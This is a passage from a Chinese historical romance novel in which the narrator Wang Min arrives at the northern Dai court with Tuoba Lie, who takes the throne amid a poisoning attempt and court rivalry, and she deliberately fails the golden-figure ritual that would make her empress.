最最惊险的一次,是在大漠风尘,日色黄昏中。刺客一路都没有得手,愈近国都云中,就愈迫不及待。马车颠簸得很厉害,一枝黑羽箭射穿了车窗,从我的耳廓边上擦过时,发出了一道尖锐刺耳的风声。经历了那么多,我不再是一个小孩子了,不会动不动就抱着头惊惶失措地大叫,等我安静地回过身去,看见拓拔烈正在拔箭,箭射穿了他的衣袖,把他钉在了车板上。
“小心点!”他拔出
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箭,愤愤地朝车窗外的影卫大喊。
他过来检查我的耳朵,又拿了一条毛毡把我裹进怀里,低头碰了一下我的唇,我疼得扭开头,抽了一下气。这里的天气又干又冷,嘴唇都裂开了,手上也生了疮。尤其是左手,因为不能动,只能靠右手不停地揉搓才能活血。
马车外的战斗很快就结束了,拓拔烈问我:“你怕不怕?”
我摇头,适时地问道:“是不是我说不怕,日后,你就会让我去你的战场?”先生要我走一条截然不同的路,假如命运无可避免,我唯有迎头而上。
他的唇抿出一道优雅的弧线,真是让人恼恨,我连说话都会疼,他却还能笑。他不置可否地对我吐了两个字,热气喷在我已经冻僵的鼻尖上:“我怕!”
他斜靠下来,始终没有放开我。也许因为要回家了,也许因为近乡情怯,难得见他那么多话,竟然有和我闲扯的心情。
拓拔烈说,在一望无垠的大漠和草原,最最可怕的不是人,而是狼。曾经在某个晴朗的夜晚,他给我指过一颗星,在北斗的边上,叫做苍狼,那是草原民族的守护星。他给我讲了一些关于狼的故事,冷酷而不失温柔,坚守而不失智慧,狼是一种极其复杂的动物,同时又很简单……牧民们痛恨这个杀戮成性刽子手,却又把它奉为草原之神。
从小到大,我只听过一个东郭先生和狼的故事,而拓拔烈嘴里狼,似乎与我从小印象里的中山狼大相径庭。在建康的时候,贵族之间喜欢逗猫弄狗,后来到了长安,我还惊诧于满街飞奔的健马。现在要去的极北苦寒之地,竟然还存在着这样一种有着致命吸引力的动物,我几乎迫不及待地想要去看上一看。
拓拔烈一手枕着头,一手剜了块香膏涂抹我的唇,神情闲适地调侃道:“傻瓜,最好还是让它存在于你的想象里吧,我可不希望你真的见到它,你那几两肉,还不够它一口的。”
我突然很想笑,但是扯动了嘴唇上的伤口,又只能换成咝咝的抽气声。他问我笑什么,我说:“其实我已经见过狼王了……难怪二哥的马从来不让你近身。”
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连着数日霰雪纷纷,一片片霜花大如铜钱,直下得天昏地暗。到了渡河那日,竟奇迹般转晴了。时值腊月,水面已经冰合,看似平静如鉴,底下却是暗流汹涌。马匹车辆小心地踏着冰面前行,过了九曲黄河,就是代国云中。我把自己裹在厚重的毡毯里,只露出一双眼睛,透过车帘的缝隙向外张望。江南游子,乍见万里北国风光,不由得发出惊叹。我猛吸了一口冷冽的空气,清爽入肺,一扫胸中气闷,只想扣弦狂歌。
怪不得拓拔烈不愿坐在车里,一个影卫让了匹马给他,他一直按着辔头,徐徐行进在我的车窗一侧。淡金色的阳光撒在他的身上,漫射开来,迷了我的眼睛。他看上去真像一只傲立山头的雪狼。
拓拔烈,我和你从长江之南,走到大漠以北,已不会再流连于过往而难以自拔,更不会为身处异境而诚惶诚恐,如果你不放开我的手,我就可以一直和你,走到天之尽头……
34. 第一章 云中盛乐宫
沙门问佛:以何因缘,得知宿命,会其至道?
佛言:净心守志,可会至道。譬如磨镜,垢去明存,断欲无求,当得宿命。
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马车继续往云中的路上,天黑前就要进城。尽管车轮颠簸,拓拔烈左手的字依旧稳健,一行今草,飘若游云,矫若惊龙,气贯如虹。我看得入迷,笑着胡诹了几句:“小时不识字,呼作鰌蛇结。安知笔法妙,众体称雄杰……原来只知道青兕先生章草写得好,却不知今草也是一流的,小女子真是拜服了。”
拓拔烈抬起头,莞尔道:“原来只知道王小姐工于行书,却不知对草书也有研究啊。”
“好说。”我扁扁嘴,下意识抖了抖袖子,把左手藏进里面去,“尝闻青兕先生拆字很灵,不知道愿不愿意替小女子拆一个啊?”
拓拔烈好整以暇,放下手里的笔,假装捏了一把胡子,笑道:“可以是可以……不过小姐有没有听说,要老夫拆一个字,少则千金,多则万两,价格不菲啊。就不知道小姐出不出得起这个价钱?”
“小器!”我白了一记眼睛,正襟危坐,大方拍了拍身边包了黑布的盒子,昂首道:“小女子命好,一辈子不为钱发愁,出门时我家先生给了盘缠。盒中之物在战国时代就足抵十五座城池,不知道够不够先生拆一个字啊?”
拓拔烈挑了挑眉毛,笑道:“既然如此,那就请小姐出字吧。”
我拿过笔,在纸笺上端端正正写了一个“宫”字,推到他的面前:“小女子曾经二过其门而不入,可惜事不过三,此处该着是我的命,就请先生为我测测吉凶吧。”
拓拔烈低头看了一会,忍笑道:“小姐风尘仆仆赶往此处,可是急着去嫁人啊?”
我咬牙:“怎样?”
他又顺了顺光溜溜的下巴上隐了身的胡子,叹道:“可怜你家夫君啊……恕老夫直言,小姐实乃妒妇啊!”
我怒目圆睁:“先生此话怎讲?”
拓拔烈大笑起来:“你看这‘宫’字,屋檐底下两个口,你一个口,你家夫君一个口,再容不下第三个了,小姐岂不是妒妇?”他见我一幅要吃人的模样,复又哄道:“小姐此行大吉,你家夫君必会遂你心愿!”
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宫,建康之骄奢靡丽,长安之巍然广秀,一路行来,我与之擦身而过,却最终要走向我的宿命,云中盛乐。
傍晚时分,马车到达城门,拓拔烈的两个哥哥亲自来迎。拓拔宇,这个名字一路上听得最多,我透过车帘好奇打量。坏人当然不会把这两个字写在额头上,他看上去也并非面目可憎,身长足有九尺,体格魁伟,虽不比拓拔烈好看,但还是有些威风的。两位皇子都已过了而立之年,二皇子拓拔冶走在三人之中,最不起眼。
拓拔烈出车换了坐骑,是一匹淡金色的高头大马,长脖子长脚,精瘦有力,和刘翀的云杪倒是很像。若我看得没错,应该也是宝马良驹。他很自然地走在两位哥哥中间,谈笑得宜,左右逢源。因说得是鲜卑语,我也听不大懂。好在周遭还有更吸引我的。
不同于高楼林立的长安城,云中的街道两旁多得是圆顶毡房,来来往往有更多的马匹和骆驼,行人的装扮也更具骁武之气。我不停地四处张望,深怕遗漏了什么新鲜的东西,直到拓拔烈那张美得遭人记恨的脸出现在我面前:“真高兴你能喜欢这里,下车了。”
他伸手来抱,我任他托住我的腰身,在这样肆意张扬的胡风里,我也不必扭捏作态。下车以后,我朝二位皇子屈身见礼,他们一一回礼。二皇子有些害羞,看了我一眼,飞快地垂下眼睑。拓拔宇的眼神却是直勾勾的,一副要拆骨入腹的样子,我心里虽有些发怵,但也不能表现得怯场,只能硬着头皮,昂首挺胸,跟在拓拔烈的身后。
拓拔烈并没有特别关照我,任我一路暴露在众人探究的目光底下。他又用鲜卑语和人说话,直到入了深宫,才转身对我说:“狸奴,我带你去见见我的父皇。”
盛乐宫的前殿古朴凝重,可后宫之靡费却不输我所见的任何一座宫殿,甚至有过之而无不及。天色渐暗,回廊两侧,华灯初上。一路亭台楼榭,两旁栽满了琼花异草,活生生在大漠之北营造出了一个锦绣江南。越往宫的深处,越有一种压抑之感。周遭不断有粉白黛黑、身着绛裙的宫娥往来蹀躞。远处有丝竹绕梁,靡靡之音,不绝于耳。鼻尖充斥着西域进贡的熏香,这味道不比中原所用的香料,气味太过浓重,闻得久了,连五感都要丧失。
我微微蹙眉。此宫名曰“盛乐”,仁者乐山,智者乐水,佛者乐菩提,那么此宫所盛之乐呢?富贵、寿善、身安、厚味、美服、好色、音声耳?
拓拔烈自入内宫那一刻起,脸色就不好。一位面貌姣好的公公跑进老代王的寝宫通报,未久就折返回来,引我们往里去。
深冬寒夜,门庭前还积着霜雪,我紧了紧身上的斗篷,随他挑帘进屋。屋子里也不大暖和,老代王只穿了一件丝质的宽袍,袒露着前胸,由两名美姬搀扶着来回遛弯。见我们前去,才安坐下来,挥退了一班咿呀弹唱的乐工。
拓拔烈向我引见,我恭谨地下跪问安。一个老迈的声音响起:“你是叫王敏吗?来,过来朕看看。”我顺从地抬头,看见他枯瘦如槁木的面容,眼白已经泛黄,和拓拔烈一样,有着绿色的瞳孔,可惜已不复活力,只是一潭死水了。那双眼睛吃力地看着我,已经难以表达慈爱。拓拔烈轻咳一声,我猛然意识到自己失礼,慌忙垂下视线。“你手里持有皇后的金人?”他又问。
“是。”我拿出怀里的金人,小公公替我呈了过去。他久久端详着手里的小娃娃,一阵长吁短叹,眼泪在眼眶里转了个圈,眼神就显得益发浑浊了。他伸手想去拿案上的酒盅,却被拓拔烈挡了下来:“父皇,这酒已经凉了。”
拓拔烈示意小公公去换热酒,却被老代王喊住:“先别去了,去喊两位皇儿,并几位大臣一同来,记得再找个能秉笔的……”小公公领旨跑了出去。
未久,寝殿里呼呼啦啦跪倒了一片,我退到一旁角落,看见拓拔烈跪在正中。太子早逝,他又适时地出现,一切巧合得就像是他的谋划,但我知道,这次只是天意、是宿命。每个人对于即将发生的事情都有所预料,神色凝重地聆听着圣谕。
但出乎所有人意料的是,老代王这次并非立嗣:“朕在位多年,遭天下荡覆,幸赖祖宗之灵,危而复存。如今朕已年迈,不堪国之重任。太子早逝,四子为皇后嫡出,即刻起,传位于拓拔烈,朕退位为太上皇。众卿当竭力辅佐新皇,犹如朕躬……”他的声音疲惫而短促,仿佛只想早点打发那些人回去。
“父皇!”这次就连拓拔烈都有所讶异,他连忙叩首道:“父皇春秋鼎盛,儿臣安敢闻诏!”
老代王已执意让位,又推让了几句,以眼色示意一旁的小公公去取温酒。好像别人抢破头的皇位,与他来说,还不及喝一口热酒实在。
三辞三让之后,拓拔烈顺利继位。以他的性子,必定当仁不让,刚才那番推托,也只是必要的过场。群臣叩首,山呼“万岁”。大皇子拓拔宇只恨不得把“不服”二字写在脸上,我为他一叹,这么沉不住气的人,还想做拓拔烈的对手,只怕吃苦头的日子,已经近在眼前了。
老代王无力地挥了挥手,群臣叩头之后,各自退去。再过几天就是正月,新皇的登基大典,有得大家手忙脚乱了。
我和拓拔烈最后一个退出寝宫。外面冰天雪地,屋子里也没有生火,老代王轻衣缓带,却还是热得一身薄汗。两名美姬复又出现,搔首弄姿,围
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其左右。小公公端了酒壶进门,拓拔烈伸手探了探酒温,才放其入内。
太上皇是在服食寒石散?我出门的时候原本想问,但见他脸色阴沉,也就没有开口。
在南朝,士大夫之间很流行这种东西,说是服食之后使人神清气爽,还可以祛病强身。可连我六叔这种有风雅必附庸的人都说不好,不去吃它。
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我被安排在远离太上皇的东侧宫殿居住,离拓拔烈的处所倒是很近,所幸没有刺鼻的香味和恼人的管弦。他拨了一些宫女宦寺给我,其中有不少胡汉混血。我问他们之中可有会说鲜卑语和汉话的,便留了两个近身伺候。因两个女孩子都是拗口的胡人名字,就替她们改成了香祖和木犀。
兰桂齐芳,这才是我要的香。
新皇上任,一切都很仓促,宫里的人忙碌起来,汲汲惶惶,显得有些杂乱无序。快过酉时,墨童来我的殿里,说皇上来问,要不要和他一起用膳。
我随他去了拓拔烈所在的东宫,他正埋头写字。虽然在长安的时候比邻而居,和他胡闹惯了,但此时已非彼时。我屈身问安,唤了声:“皇上。”
他抬起头,有些茫然地看我。身边的几个宦寺又抬了几筐奏折进来,看样子老代王不理朝政已经好一阵子了,公文堆积如山。他示意将这些折子放在一旁归类,对我道:“你就不要和我拘礼了。”
一旁食案已经摆齐了晚膳,荤素得宜,还有两碗南方的米饭。我近身道:“齐家治国,非一朝一夕之力,皇上还是先用膳吧。”
他埋首其中,没有抬头:“狸奴,你先吃吧,吃完了帮我一起看。”
“我?”我讶道。
“是啊。”他抬头看我,“朝中的鲜卑贵族,让他们行军打仗或许还行,让他们认几个字,难!更别说是出谋划策了。三哥倾心汉化,倒是留了几个汉官的,但多是趋跄之徒,我不敢大用。都说先齐家,再治国,而后平天下,你看我这么些年一直游走于外,倒是忘了家里这个烂摊子了。我现在虽有皇位,但也无异于白手起家,你是白石先生的高徒,总能先救救我的急吧,难道让我放着你不用,还是……你只带了一张口来,想来我这屋檐底下白吃白住的?”他看着我,浮出浅浅笑意。
“我……我……”我想说,后宫不干政,你这雄猜之人,倒舍得放权?
他示意我先用饭,又道:“杀母立子,不许后宫干政,这些无非都是害怕皇帝驾崩以后,外戚专权。大汉以后,几人称帝,几人称王,为何国祚都不长久?开国之君多有些手段,可惜老子英雄儿混蛋,这样的例子比比皆是,以至于社稷旁落。还有一些,子嗣都未成年,主少国疑,大臣未附,百姓不信,又怎会不亡……若真如道士所言,我的寿数不长,难道要我留下你们孤儿寡母,任人鱼肉?这世上有周旦,也有操莽;有吕雉贾后,但代国的历史上也有过像文明太后这样可以辅佐幼主的传奇女子。外姓辅臣,难道就一定会比孩子的生母更加可靠?……还是,你只想给我陪葬?……我不是那么不自信的人,害怕妻子干政,你也不必担心应付不来,凡事总有开头,我会拉着你的手走……”
拓拔烈远虑至此,倒是连自己的身后事都想好了,我已孑然一身,他也少了后顾之忧。此人深险诡谲,当然自信了,但凡我有一点点吕后之心,恐怕也逃不脱给他陪葬的命运了。我掀了掀嘴唇,哼笑道:“皇上圣明,怎么也开始相信怪力乱神了?”
“怪力乱神,圣人不语,史书不绝。你我都不是圣人,你不是也开始相信了吗?……快用饭吧。”他复又埋首到纷繁的公务之中。
我坐到食案前,才要举箸,他又道:“狸奴,人前我是皇帝,人后……屋檐底下两个人,我不要你虚言对我,你还是照样叫我的名字吧。”
35. 第二章 君使臣以礼
蔗浆菰米饭,蒟酱露葵羹,是我怀念的家乡味道。可惜没有什么胃口,一碗米饭过半,还是气闷难消,嘟着嘴斜睐拓拔烈一眼。这人,何以霸道至此,人也要,心也要!
伸筷子戳了段茭白要往嘴里送,墨童忽然领了人来,未经通报就直冲入殿:“皇上!”他进屋之后匆忙环视,墨碳一样的脸上满是惊惧,见我正在用饭,一双黑白分明的眼睛就直直盯着我瞧,见了鬼似的。
拓拔烈抬起头,喝道:“说!”
墨童跪倒在地,焦急禀报,声音也有些发颤:“皇上,御膳里有毒,刚才试毒的公公突然倒地……太医说,此毒需大半个时辰之后才会发作,下毒之人想是知道皇上会用人试毒……发作之后当即毙命,且无药可医……”
拓拔烈闻言,倏然起身,险些掀翻桌案,他快步到我面前,剑眉倒立,绿瞳紧缩,已不复冷静。
我连忙捂住自己的嘴,深怕他又来捣我的喉咙,要死也不能死得那么难看,尤其在他面前。我忙问墨童:“哪道菜里有毒?”
墨童道:“在蘸羊肉的佐料里。皇上的御膳都由可靠的专人烹制,今日不慎打翻了佐料,厨子怕误了皇上用膳的时辰,曾假借过他人之手……”
拓拔烈飞快扫了一眼案上的佐料,我忙说:“我没有吃羊肉,今日十五,我是如素的。”
拓拔烈合上眼睛,长长吁了一口气。很快的,他就作出了反应,冷冷道:“墨童,那公公你去厚葬了,若有家人,就多给抚恤。找到下毒之人,让他供出主谋,而后秘密处死。厨子办事不谨,不能再用。切记,此事不许对外声张!”
墨童有些诧异,但也没有多问,领命带人退了出去。
他修长的手指懊恼地爬过头发,转身对我道:“狸奴,这就是我的战场,你当真不怕?”
险些横死,我怎么可能不怕?但我还是果断地摇了摇头,就算怕,如今也没有退路了。“是不是拓拔宇?”我问。
他蔑笑一声:“还会有谁?”
“那你为何不彻查?他这次害你不成,定有下次,暗箭难防,你是要给他几次害你的机会?”
“可我现在还不能动他。太子之死,谁才是既得利益者?多少人以为三哥是我害死的!我刚继位,就要相残手足,即便他下毒弑君的证据确凿,也难会免遭人烦言。现在百废待举,正是用人之际,汉人不是最讲究兄友弟恭、君仁臣忠的,我要是一开始就落得个不友爱兄弟的暴君名声,日后还有谁肯来归顺?”
我低头不语,拓拔宇动念之时,他的生死簿就早已被人打下红勾了,只是迟早的事情。白石先生说,拓拔烈想要不声不响地杀死一个人,有得是高明的法子。
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刘鹏诬陷刘翀母子谋反,派下重兵在半路之上围堵。刘翀十万人马连番大战,已疲于奔命,只好逃去北方的统万城。统万城原是北帝龙兴之地,城围数里,内有宫殿,外有高墙,可以屯兵休憩。北朝里有不少大臣不堪刘鹏暴政,纷纷逃往统万投靠二皇子,周遭的地方官员也带兵带粮前去归顺,如今一整个河套地区都在刘翀的统治之下。
刘翀得知其兄弑父烝母,耻于与他同姓,便改回了胡姓——赫连,建国号为夏,誓与刘鹏不共戴天。慕容斐趁刘汉内乱,又侵吞了不少北朝的土地。如今的天下,已经分崩离析,正如先生当日在地图上所绘,也正如拓拔烈多年来的精心布局。
刘汉已无暇自顾,代国南境暂得太平,可北方却备受柔然侵扰。柔然也是草原民族,逐水草而居,夏日里北上放牧,冬日里无牧可放时,就南下劫掠。多年来,代国与柔然时战时和,边境上的战争互有胜负,两国之间也有过几次和亲,大皇子拓拔宇的夫人就是敕连可汗郁文闾之姊。
代国也是以游牧为主的国家,但拓拔烈以为,发展经济还是以农耕为好,故一直想将国都改迁到关内。可要是贸然变法,大改祖制,难免引起群疑交集,又谈何容易。
那些都是放在拓拔烈书案上的要紧折子,他的手指一直抵着睛明穴,眉头不展,想来已经头痛不已。
我眼前的一摞是已经拣选下来的,多是一些新皇登基的贺表,还有皇宫里年节的宴请开销,甚至,还有老百姓为了家里的牛羊来告御状的。
我提起笔来,凡我案上的折子,事不分大小,不遗巨细。拓拔烈以他的天下为天下,老百姓也许只以一只羊,为全家的天下。
我手头上最最要紧的一件是拓拔宇呈上来的。柔然自深秋开始就不停地劫掠北境,百姓不胜其扰,他倒也想了法子:在拓拔宗族里选个年轻的女孩子册封为公主,送去和他们的敕连可汗和亲。又推荐妻妹,同是柔然公主的郁文闾阿兰为代国皇后。联姻向来是国与国之间维系短暂和平,争取战争时间的有效方法,可惜,又要出送无辜的女孩子。
我斜睐一旁专心埋头的拓拔烈,怎么把这折子也放到我的案子上了,事关他的终身大事,我可作不了主。我将它放到无法处理的几份折子里,叠放整齐,交给永平。永平是他近身的公公,年岁不大,有点瘦弱,但很有一些机灵劲儿。他替我将折子转交到拓拔烈的龙案上,拓拔烈抬头扫了一眼,视线落在那本蓝皮的奏折上,停顿了片刻,问道:“几时了?”
永平答:“回皇上,子时二刻。”
“时候不早了,叫墨童送小姐回去……辛苦你了,回去以后早点休息,记得吃东西要小心。”
我退出东宫,又回头看了一眼,红墙黑瓦,檐牙高啄。可惜这个不是平常人家的屋檐,我不禁轻叹,屋檐底下两个口,这样的宫,从古至今,我还闻所未闻。
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拓拔烈第一天上朝就不太平,这朝直从卯时上到了未时。老代王久不理政,前太子拓拔浩监国时,相信不言而化,无为而治,也偏废了国事。有几个鲜卑贵族直睡到日上三竿才来,官服不整,言语轻慢,行为放肆,宛如在自家的牛皮大帐里。也不知道是代国远离中原,这些本是化外之人,还是,故意要给这个年轻的皇帝一个下马威。
这些事沸沸扬扬传到的了后宫,又入了我的耳朵。傍晚时分,拓拔烈出现在我的屋子里,宦寺伺候他换下龙袍,梳洗过后,还是一脸倦容。听说他昨夜里改折子,直改到寅时,只闭了一个时辰的眼,就上朝去了。
我留他一起用膳,问他可要先休息一会儿。他躺在我的榻上,没一会儿就入睡了,我以为他睡熟了,手指才离开他的额头,他就把眼睛睁开了。
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香祖和木犀把食案送进屋子,我见他也睡不着,干脆拉他起来吃饭。吃到一半,他忽然停箸问我:“狸奴,你要是换作我,打算怎么做?”
我知道他在问我今日朝堂上的事,也知道他此刻来问,其实心里已经有了盘算。我想了想,挤出两个字来:“教化。”
他的表情有些不以为然,但还是示意我往下说。我道:“那些人不知礼数,你若道之以政,齐之以刑,他们或许会害怕你的惩戒而有所收敛。可他们犯得都是小节,你又不能治以大罪,他们或许根本就不怕你的小小惩戒。也或许,他们根本就是故意的,你的惩戒只会让他们变本加厉地和你作对。你也说要施仁政、尚礼乐,那些仁人志士才会来投奔你。你若道之以德,齐之以礼,他们才会发自内心对你尽忠。那些贤达之士,也会前来归顺你啊。”
他低头扒了几口饭,对我笑道:“妇德尚柔,你真是朕的贤后!……圣人言:君使臣以礼,臣事君以忠。可这礼,也要看待谁。你也说这些人是故意的,我还指望他们对我尽忠吗?德化他们,你道我要花多少时间和精力在这些人的身上?”
一顿饭用完,拓拔烈没有和我再继续这个话题。他叫人把没有改完的折子送到我这里,我又帮他处理了一些琐碎的事情,直到夜半。
永平一直伺候在拓拔烈的身侧,我掩嘴打了个呵欠,看见香祖这丫头在不停地给他使眼色,永平努着嘴,表示不知道。我不动声色地看了一会儿,知道他们在猜测,皇帝今天晚上赖着不走,是不是有心要留宿。
拓拔烈始终为眼前的政务所困,根本就无心其他。我只担心他的身子,只好打断道:“夜深了,皇上龙体要紧,还是早点回去休息吧。”
他这才抬头看天,又看了看我,起身笑道:“呦,小姐下逐客令了。是我忘了时辰,耽误你休息,你也早点睡吧。”复又低头看了眼刚才拿在手里半天的折子,吩咐永平把它们都送回东宫去。出门的时候,我听他咬牙念了句鲜卑话。
我问木犀,皇上刚才说了什么,木犀的脸倏地就红了,推说不敢讲。香祖在一旁添灯油,我见她偷偷吐了吐舌头,好像暗自庆幸我没有问到她。她回头见我正盯着她,忙上前陪笑道:“小姐就别问了,皇上是恼那些不知事的大臣们,反正不是什么好话。”
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拓拔烈上朝第二天,就在朝堂之上开了杀戒。一个颇有些威望的鲜卑贵族在他面前倚老卖老,说到激动处,一口痰啐在地上。拓拔烈当即就下令,拖出去斩首,以下犯上,就是死罪。有人立刻将这件事报到太上皇那里,想让他出面救人,但太上皇只说,现在是皇帝做主,他不管这事。随着此人人头落地,大殿上下一片静默,那些桀骜难驯的贵族们一下子就老实了,之后再无人敢在朝堂之上对天子不逊。
拓拔烈的上任三把火烧得轰轰烈烈。此举让所有的人都清醒地意识到,他不是老代王,也不是前太子,有人若想以轻君作为自己身份地位的炫耀,在他面前,就只有死路一条。儒为表,法为里,这才是他的治国之道。他的仁德,向来都是因人而异的。
我得知此事以后,想到了一个曾经在寺庙里听到故事:朝天吐口水,口水就只会落到自己的脸上。
36. 第三章 铸皇后金人
关于和亲的事,自拓拔宇之后,就不断有人上疏。拓拔烈照样把这些奏折放到我的案上,我又照例看完,再呈送回去。其中还有一份,知道我是皇帝的义妹,建议册封我为西海长公主,把我送去给柔然敕连可汗做阏氏。我把那份奏折原封不动地放回去的时候,拓拔烈只是托着腮看我,手指反复地在那份折子上轻扣,仿佛是在思考它的可行性。对于他的这种挑衅行为,我也只能耸耸肩,报以无可奈何的微笑。
柔然人自穷秋以来,一直屯兵边境,劫掠不止,和亲之事又悬而未决,一拖就拖到了新皇的登基大典。元月初一,拓拔烈出震继离。
一大清就开始了繁冗的仪式,新皇要于坛祭天,于坎祭地,又于太庙祭祖宗。可惜这样盛大的场面我是不能去参加的,故也无缘目睹他的煌煌风采,就只能听听宫娥宦寺在廊下的闲话,互相倾诉着他们的皇帝今日在大殿之上的抑抑仪容、秩秩德音。
为了今天晚上的筵席,木犀已经拿了第九套礼服给我过目,我笑道:“我哪里穿得了那么多衣裳,随便吧,哪件都好。”
香祖过来帮忙,对我道:“小姐,怎么能随便,这可是大事!夜里的宴会可是有很多人要来……咳,柔然也派了敬贺的使臣,还有他们那个阿兰公主也要来。”木犀嘴笨,只是配合着她点头如捣蒜,香祖又道:“阿兰公主是大殿下夫人的妹妹,来过我们这里好几回了,她每回见到我们皇上,那眼神,就跟老鹰见到兔子似的……”兔子?我笑。香祖意识到自己失言,干笑了两声:“阿兰公主虽比不上小姐的美貌,但柔然女子都大方的很,男人嘛,总是经不起撩拨的……这次就是她撺掇着她家可汗哥哥要来和亲的!”
两个丫头的脸上都不约而同地出现了鄙夷之色,我也只能但笑不语。以前刘翀还戏称拓拔烈是长安城里风采第一,又岂止一个长安城呢,连我六叔这等样的人,都一样深陷不能自拔了。碰上这种事情,我大可不必惊讶,只是,也没有料想的那么心平气和罢了。
夕食时分,钟磬声响,夜宴正式开始。金銮殿里宝篆香飘,绛蜡光摇,所奏的是箫韶九成,所舞的是凤皇来仪。百司依次进礼,四方嘉朋来朝。拓拔烈一身玄黑色的龙袍,头冠十二旒皇冕,面南而坐,威仪棣棣,犹若山河。
在前来敬贺的使节队伍里,我一眼就认出了柔然国的阿兰公主。阿兰公主应该和我一般年纪,却要高出我许多,深目高鼻,是典型的胡人女子长相。一身鲜亮的胡服,珠围翠绕,不同于汉人女子的温婉娉婷,她的身上,别有一种飒爽之美。若是站在拓拔烈的身侧,倒也般配。
阿兰公主看人的眼神果然不算含蓄,我却不敢直视。今夜的拓拔烈高高在上,就像个不食凡间烟火的神祗,珠玉的冕旒恰好挡住了他碧绿深邃的眼睛,让人无法窥测到他的内心。
入坐之后,一个年轻的宦寺奉上我的食案,不同于旁人的醴酒炙肉,我的只是清淡小菜。“小姐今日如素,皇上特地关照的。”宦寺低眉顺目,小声说了一句。我再次往大殿正中看去,拓拔烈的嘴角有微不可见的弧度,也不知道是在冲着谁笑。
筵到酣处,大皇子起身祝酒,再次提出了和亲之策,请立皇后,引得底下不少人竞相附议。
拓拔烈洪亮的声音缥缈在金銮殿上,底下立刻变得鸦鹊无声:“皇兄可记得南北朝里有一个流传很久的谶言,琅琊王氏嫡女王敏,安贞之吉,应地无疆,有母仪天下的皇后之命?朕得天佑,幸从江南寻得此女,朕理当恪谨天命,立其为后。至于皇兄所荐之阿兰公主……柔然敕连可汗之妹身份尊贵,又怎么能够屈就为妃呢?”
拓拔烈的一席话,所有的目光都投射到我这里,我只能放下筷子,整裳危坐。那个要把我送去给敕连可汗作阏氏的大臣,一口酒从鼻子里喷出来,正用袖子掩着,不停地咳嗽。大殿里不复安静,人们开始交头接耳。与他们来说,道士的谶言太过虚无,不如早早退去北境虎视眈眈的十万柔然铁骑,才是要紧。
阿兰公主坐在大皇子的夫人身侧,攒眉攥拳,若不是她姐姐拦着,只怕就要拍案而起了。
拓拔宇抬手示意大家安静,又道:“皇上,术士之言,臣等虽有耳闻,但那只是汉人之间的说法。要说天命,我们鲜卑人也有世代相传的规矩,历代皇帝将立皇后,必令其手铸金人,以成者为吉,不成则不得立。皇上,不如就按照此规矩来,请阿兰公主和这位王小姐各自手铸金人一枚。王小姐若能得到腾格里的庇佑,自然能铸起金人,臣等也就无话可说了。”底下又有不少大臣纷纷附议,拓拔宇嘴角噙笑,威风凛凛立于当庭。
金人的制作过程其实并不复杂,无非就是历代皇帝向人证明他所册立之后是受于天命的,代国的历史上,皇后手铸金人,几乎无一失败。可是,在代国的历史上,却也没有一个左手残疾的皇后,拓拔宇是料准了,我是根本不可能单靠一只手铸起金人的。可惜他没有料到,我的手中早已持有先辈皇后之宝了。
在一殿期盼的目光之下,拓拔烈坐在最高处,如一尊白玉雕砌的神像,岿然不动。未久,他清晰地吐出两个字来:“准奏!”
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手铸金人的仪式被安排在登基大典的第三日后。这几天虽是年节,但拓拔烈一日未荒废朝事。到了夜里,他还是如同往常一样,会陪着我吃顿晚饭,然后又埋头于堆积如山的公文里。直到仪式前的一天,他问我索要杜皇后的金人,我连着盒子交到他手里,他拿出来细细地摩娑了一遍,又郑重地交还到我手上。关于这次立后,他始终没有对我说过任何一个字,仿佛千言万语,都包含在这个交接的举动之中了。
翌日,我被带进了一个空空荡荡的密室,确保没有一个人可以为我伸出援手,但对于我这个已经怀揣金人的人来说,拓
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拔宇的精心安排显然变成了一个笑话。
案上有各色制作金人的器具,我一一检视,明白它们的用途,然后将一块金子放进了熔炉……我抱着膝盖坐在一旁,靠近炉子一侧的手臂被烤得很烫。在这寒冷的北国里,也许一会儿就有一场来势汹汹的暴风雪,起码眼前的这一蓬火,能让我感到暂时的温暖和惬意。我将头埋进两臂之间,说起来,好像从小就学会了作弊,以前是拉着玲珑……也不知道她现在在建康宫里的生活过得如何了……
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两个时辰一闪即过,今日早朝以后,一殿的大臣都陪着皇帝在等这两个新鲜出炉的金人。阿兰公主红裙胜火,笑靥如花,大方地将金人呈在拓拔烈的龙案之上。我晚了一步入殿,因为刚才手忙脚乱,现在看上去着实有些狼狈。
我手捧金人,一路沿丹墀而上,两旁的大臣开始窃窃私语,有几个已经忍不住掩起了嘴。阿兰公主的轻笑声有些刺耳,我只能佯装未闻。拓拔烈扫了一眼我手里的金人,就直直盯着我的脸瞧,他的眼神逐渐冷却,是暴风雪前的征兆。我鼓起勇气,迎上他盛怒的目光,将一个制作得并不成形的金人呈到他的面前。
很显然,这是一个极其失败的作品,金人的面相尽毁不说,手脚连着身体,根本就是几块金疙瘩而已。我很想告诉他,我已经尽力了,但这恐怕并不能平息他此时的怒气。随着拓拔烈逐渐阴沉的脸色,朝堂之上再次变得阒寂无声。我无暇顾及别人或是同情,或是唾弃,或是幸灾乐祸的目光,倔强地拿出了世家小姐的脾气,挺直了脊梁,不卑不亢地与他对视。
他从托盘里拿起了我的金人,拇指细细抚过它的眉毛、眼睛、鼻子、唇……我讶异于他竟然能从这个面目全非的金人脸上辨别出那些我想表达的意思。他慢慢勾起了嘴角,是近乎残忍和嗜血的微笑,这恐怕是他继位以来接受过的最最意想不到的违抗。对于这样一个高傲的人来说,我的举动,无异于一个巴掌掴在他的脸上。我分明能看见他的眼神在说:你这是在找死!
大殿里安静得仿佛只剩下我们两个怒目而视的人,大皇子拓拔宇这次倒是乖觉的很,只作冷眼旁观,没有跳出来煽风点火。金人一出,已是天命难违,就算是拓拔烈也难以在群臣面前扭转乾坤了。
他慢慢放下金人,合了一下眼睛,迅速掩去眼中的狠戾之气。又抬手摸了一下我的面颊,白皙的手指上沾染了黑色的煤灰,大概是我刚才不小心擦到脸上的。而后,他挥袖示意我退到一旁。
我无法再从十二串冕旒之下看清他的眼睛,只有回荡在金銮殿上的清冷声音,无喜无怒,在这身龙袍底下,他就永远不可能只是一个纯粹的人。“代国与柔然世代交好,柔然公主郁文闾阿兰受命于天,铸成金人,朕将册立其为皇后,择吉日行嘉礼!”
37. 第四章 上元节大婚
从朝堂里回来的时候,已过晌午,木犀默不作声地将食案端到我面前,这回就连那个成天唧唧喳喳说个不停的香祖也没了响儿。我扁扁嘴,刚要拿筷子吃饭,就听到外面永平跑得上气不接下气的声音:“皇上驾到!”
